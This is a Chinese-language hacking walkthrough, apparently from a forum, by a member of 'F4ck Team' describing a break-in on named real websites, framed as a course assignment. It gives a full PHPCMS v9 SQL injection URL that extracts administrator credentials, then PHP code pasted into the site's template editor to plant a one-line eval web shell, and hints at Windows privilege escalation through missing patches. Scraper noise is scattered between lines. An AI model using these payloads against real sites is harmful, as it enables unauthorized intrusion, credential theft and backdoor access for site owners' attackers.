|
期末快到了,各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思,叫做黑客攻防,期末作业就是黑站,我笑了。。前几天在服务器上嗅探把服务器搞死了,管理员漏洞也补了,写这篇文章单凭记忆,图片较少,还请见谅。 Author:夜行人 From:F4ck Team
& q. H v6 E5 Z- [" [) Q( q目标站:http://www.ipucom.com/ 旁注到一个站点:www.zhongyitong.com有phpcmsv9注射漏洞 百度一下找到该漏洞的利用方法。 直接在该网站注册用户名,然后在该网站域名后加上这段代码就能爆出数据库名 api.php?op=add_favorite&url=xx.oo&title=%2527: k9 f5 z# L+ a3 m/ V4 {
2 P* l1 `* d5 J2 M5 W1 w" e) M
0 s0 T' Q* [" n
, J5 C8 s* A, J5 z& ?+ W) Y. ~5 p. w+ `
1 [ I1 T! P) F5 H& G6 k, b2 W
) e, D; g; ^& u) g
8 s6 o, c$ S- f( Y
+ r7 [# [1 N2 _+ U5 E1 s
, P; _( [4 U0 k+ q0 w) o' R" Y & I1 E I7 ~# g% a3 K& E
+ R7 Z1 z- @/ B! Q
这里可以清楚的看到数据库名和表名,然后把该表名替换一下代码中的表名 api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from% 2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select %2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from %2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables %2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from %2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and %2520%25271%2527%253D%25271
3 m! F7 _7 H) b' }' J4 b 1 I8 s( ^6 L" e0 X' J. z# D
# B2 n" l1 d) }( g/ `' W4 B2 U* t9 ]
7 T$ ^* v4 @0 u, F: w
帐号密码就出来了,md5解密一下就行了 进入后台, 界面 > 模板管理 > 模板风格 >/ H# T/ Q/ S. h, E; A" e# C
) W* m; W! w1 O3 F4 Z' w' W/ a
5 L3 e5 \" `5 C! [: l4 x! j
; p& `4 @6 Y) j& T. _$ U
% e2 }' v8 l; H! o6 D( O
0 g {" m+ R+ q4 ?& M
, q& F& `3 U* B, x
# B6 N6 U8 m$ k5 z2 m8 t
0 G* F* a3 b$ U7 K/ A 点击后面的修改,然后把一下代码复制上去保存 <? $fp = @fopen("c.php", 'a'); @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n"); @fclose($fp); ?>
; y5 R- [: M$ y# t! k; F2 J8 _& R( J5 f8 ?: E- Z
. e( @ T2 t* |, a7 ^
: L4 V& Q. M: Z3 B5 b, n1 Q
! A0 d. } ~, Z5 K
: N P: K2 K2 K' [- ~! x$ _( c. `# C/ @
' c) N" C8 w5 s
) j3 b- q9 ?& z! `6 B; K' g& `) ^( l2 O( q$ G; y
# v5 x6 ]/ ]7 Y) E, P: `
提交后可视化一下# ?* ]2 \) _) n1 O+ a$ e0 O
3 Q# f2 j/ }, z5 O H. { 在网站的根目录就生成了你的一句话木马客户端 http://www.zhongyitong.com/f4ck.php 然后通过控制端连上去就行了。。。 提权貌似很简单,看了下systeminfo 发现没有 KB2503665 KB2592799 |